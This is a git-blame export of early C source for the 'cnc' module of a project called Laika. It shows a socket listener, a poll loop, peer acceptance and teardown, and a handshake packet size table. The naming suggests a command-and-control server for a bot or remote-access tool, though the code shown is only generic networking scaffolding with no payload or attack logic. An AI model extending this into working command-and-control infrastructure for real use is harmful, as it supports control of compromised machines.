2022-01-24 16:34:30 +00:00
|
|
|
#include "lmem.h"
|
|
|
|
#include "lerror.h"
|
|
|
|
|
2022-01-24 15:51:29 +00:00
|
|
|
#include "cnc.h"
|
|
|
|
|
2022-01-24 16:34:30 +00:00
|
|
|
size_t laikaC_pktSizeTbl[LAIKAPKT_MAXNONE] = {
|
2022-01-25 02:57:54 +00:00
|
|
|
[LAIKAPKT_HANDSHAKE_REQ] = LAIKA_MAGICLEN + sizeof(uint8_t) + sizeof(uint8_t)
|
2022-01-24 16:34:30 +00:00
|
|
|
};
|
|
|
|
|
2022-01-25 03:46:29 +00:00
|
|
|
void laikaC_pktHandler(struct sLaika_peer *peer, uint8_t id, void *uData) {
|
2022-01-24 16:34:30 +00:00
|
|
|
printf("got %d packet id!\n", id);
|
|
|
|
}
|
|
|
|
|
|
|
|
struct sLaika_cnc *laikaC_newCNC(uint16_t port) {
|
|
|
|
struct sLaika_cnc *cnc = laikaM_malloc(sizeof(struct sLaika_cnc));
|
|
|
|
|
|
|
|
/* init socket & pollList */
|
|
|
|
laikaS_initSocket(&cnc->sock);
|
|
|
|
laikaP_initPList(&cnc->pList);
|
|
|
|
|
|
|
|
/* bind sock to port */
|
|
|
|
laikaS_bind(&cnc->sock, port);
|
|
|
|
|
|
|
|
/* add sock to pollList */
|
|
|
|
laikaP_addSock(&cnc->pList, &cnc->sock);
|
2022-01-25 02:57:54 +00:00
|
|
|
|
|
|
|
return cnc;
|
2022-01-24 16:34:30 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
void laikaC_freeCNC(struct sLaika_cnc *cnc) {
|
|
|
|
laikaS_cleanSocket(&cnc->sock);
|
|
|
|
laikaP_cleanPList(&cnc->pList);
|
|
|
|
laikaM_free(cnc);
|
|
|
|
}
|
|
|
|
|
|
|
|
void laikaC_killPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
|
2022-01-25 03:46:29 +00:00
|
|
|
printf("peer %x killed!\n", peer);
|
|
|
|
laikaP_rmvSock(&cnc->pList, (struct sLaika_socket*)peer);
|
2022-01-24 16:34:30 +00:00
|
|
|
laikaS_kill(&peer->sock);
|
|
|
|
}
|
|
|
|
|
|
|
|
bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) {
|
|
|
|
struct sLaika_peer *peer;
|
|
|
|
struct sLaika_pollEvent *evnts;
|
|
|
|
int numEvents, i;
|
|
|
|
|
|
|
|
evnts = laikaP_poll(&cnc->pList, timeout, &numEvents);
|
|
|
|
|
|
|
|
/* if we have 0 events, we reached the timeout, let the caller know */
|
|
|
|
if (numEvents == 0) {
|
|
|
|
return false;
|
|
|
|
}
|
|
|
|
|
|
|
|
/* walk through and handle each event */
|
|
|
|
for (i = 0; i < numEvents; i++) {
|
|
|
|
if (evnts[i].sock == &cnc->sock) { /* event on listener? */
|
|
|
|
peer = laikaS_newPeer(
|
|
|
|
laikaC_pktHandler,
|
2022-01-25 02:57:54 +00:00
|
|
|
laikaC_pktSizeTbl,
|
2022-01-24 16:34:30 +00:00
|
|
|
&cnc->pList,
|
2022-01-25 02:57:54 +00:00
|
|
|
(void*)cnc
|
2022-01-24 16:34:30 +00:00
|
|
|
);
|
|
|
|
|
|
|
|
/* setup and accept new peer */
|
|
|
|
laikaS_acceptFrom(&peer->sock, &cnc->sock);
|
|
|
|
laikaS_setNonBlock(&peer->sock);
|
|
|
|
|
|
|
|
/* add to our pollList */
|
2022-01-25 02:57:54 +00:00
|
|
|
laikaP_addSock(&cnc->pList, &peer->sock);
|
2022-01-25 03:46:29 +00:00
|
|
|
|
|
|
|
printf("new peer %x!\n", peer);
|
2022-01-24 16:34:30 +00:00
|
|
|
continue;
|
|
|
|
}
|
|
|
|
|
|
|
|
peer = (struct sLaika_peer*)evnts[i].sock;
|
|
|
|
|
|
|
|
LAIKA_TRY
|
|
|
|
if (evnts[i].pollIn && !laikaS_handlePeerIn(peer))
|
|
|
|
laikaC_killPeer(cnc, peer);
|
|
|
|
|
|
|
|
if (evnts[i].pollOut && !laikaS_handlePeerOut(peer))
|
|
|
|
laikaC_killPeer(cnc, peer);
|
|
|
|
|
|
|
|
if (!evnts[i].pollIn && !evnts[i].pollOut)
|
|
|
|
laikaC_killPeer(cnc, peer);
|
|
|
|
|
|
|
|
LAIKA_CATCH
|
|
|
|
laikaC_killPeer(cnc, peer);
|
|
|
|
LAIKA_TRYEND
|
|
|
|
}
|
|
|
|
|
|
|
|
return true;
|
|
|
|
}
|